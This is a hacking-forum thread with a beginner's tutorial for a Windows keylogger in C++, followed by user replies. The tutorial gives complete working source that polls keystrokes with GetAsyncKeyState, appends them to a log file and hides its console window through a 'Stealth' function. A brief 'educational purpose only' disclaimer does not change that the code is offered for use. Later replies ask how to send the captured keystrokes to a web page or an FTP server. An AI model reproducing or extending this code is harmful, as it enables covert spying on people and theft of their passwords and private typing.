Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

C++ keylogger tutorial

Hello everyone, this is my first tutorial EVER.

I will learn you to create a keylogger in c++ using vs 2008.
It can also be done in dev-c++, codegear c++ builder.
This keylogger wil save a log of the keys that are pressed on your HD.

Note: This tutorial is for educational purpose only.
Only put the keylogger on a computer where you got permission for.

Thx to Kevin Willett for teaching me this._________________________________________________________

Lets get started.
++++++++++++++++++

First we need to create a new project.
Click on 'File' > 'New' > 'Project'.
Now choose 'Win32 Console Application' and choose for name "Keylogger".


If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.

You should have a empty project now.
Now we will add a .cpp file.

Right click on 'Source Files' and take 'Add' > 'New Item'.


Now take 'C++ File(.cpp)' and name it Keylogger.

then click 'Add'.

Now open Keylogger.cpp and Write this in it.
Code
#include <iostream>    // These we need to
using namespace std;   // include to get our
#include <windows.h>   // Keylogger working.
#include <winuser.h>   //

Now write this:
Code
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.

Now we need to make a main function.(The main function will be the first that will be executed.)
Code
int main()  
{
        Stealth(); // This will call the stealth function we will write later.
    char i; //Here we declare 'i' from the type 'char'

    while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    {           // Note this is also the part that will increase your cpu usage
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");    // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
        }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

Ok so far so good :).

Now under the latest code add this
To make it look better.
Code
/* *********************************** */

Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff.
If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/

Code
int Save (int key_stroke, char *file)   // Here we define our save function that we declared before.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;

        if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

Now we going to add Stealth to it.
Under the latest code add again
Code
/* *********************************** */

Now write:

Code
void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

So thats it, you wrote your first keylogger :).

Here the full code:

Code
#include <iostream>    
using namespace std;  
#include <windows.h>
#include <winuser.h>


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
        Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

        if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

/* *********************************** */

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}
Whoah it looks really nice, I hope this works.
p.s. where did you learn your c++ from? I'm having trouble grasping the concepts of c++
I am not so good in c++ either xD
But my uncle helps me and allot of video tutorials.
I am not a good reader ;p.
Mind sharing the links for the video tutorials? The only ones I found are from like the 90's and they're wayyyyyyyyyyyy outdated
Yea i got that to with c++ tutorials, allot outdated.

well I think I started here:
http://www.3dbuzz.com/vbforum/sv_home.php
http://www.gotmyidea.com/cat/c-video-tutorials
ok just a question, but how do i log enter as {enter} and backspace as {backspace} and how would i submit the data over POST to a web page instad of storing it to a file?
change the \n to {enter}
same for backspace.
I am currently searching for putting it onto a ftp server without external libraries or dlls.
If I found it I will add it on this forum.

If someone else knows how to do it :) feel free to post
Code
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
Yay, im not the only one who uses alot of video tutorials. I got loads of books but the only seem to help just a little compared to videos.
But hey, im not all that smart so.....
uhm couldnt tcp be used?
Probably but like I said, I couldnt use it inside the keylogger yet :p
feel free to help me with it.
yeah i just learned the basics of C++ myself. It would be nice if there was a tcp/udp dev package so that maybe it would be like Tcpconnect("ip here") tcpsend("data here") with those we could easily send data over post using the http protocol or connect to ftp using the ftp protocol.
Lol, a tcp devpack would be nice, then we could sent http headers over tcp(for http protocol of POST and GET) and send tcp commands too.
how to i open the cpp keylogger?
compile it
how? sry but i'm new on c++


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by WarrioR™May 17, 2012 02:19 AM 1 261 May 17, 2012 02:19 AM
Last Post: Ærion
[.NET] by dunlop03Nov 19, 2009 10:56 AM 0 283 Nov 19, 2009 10:56 AM
Last Post: dunlop03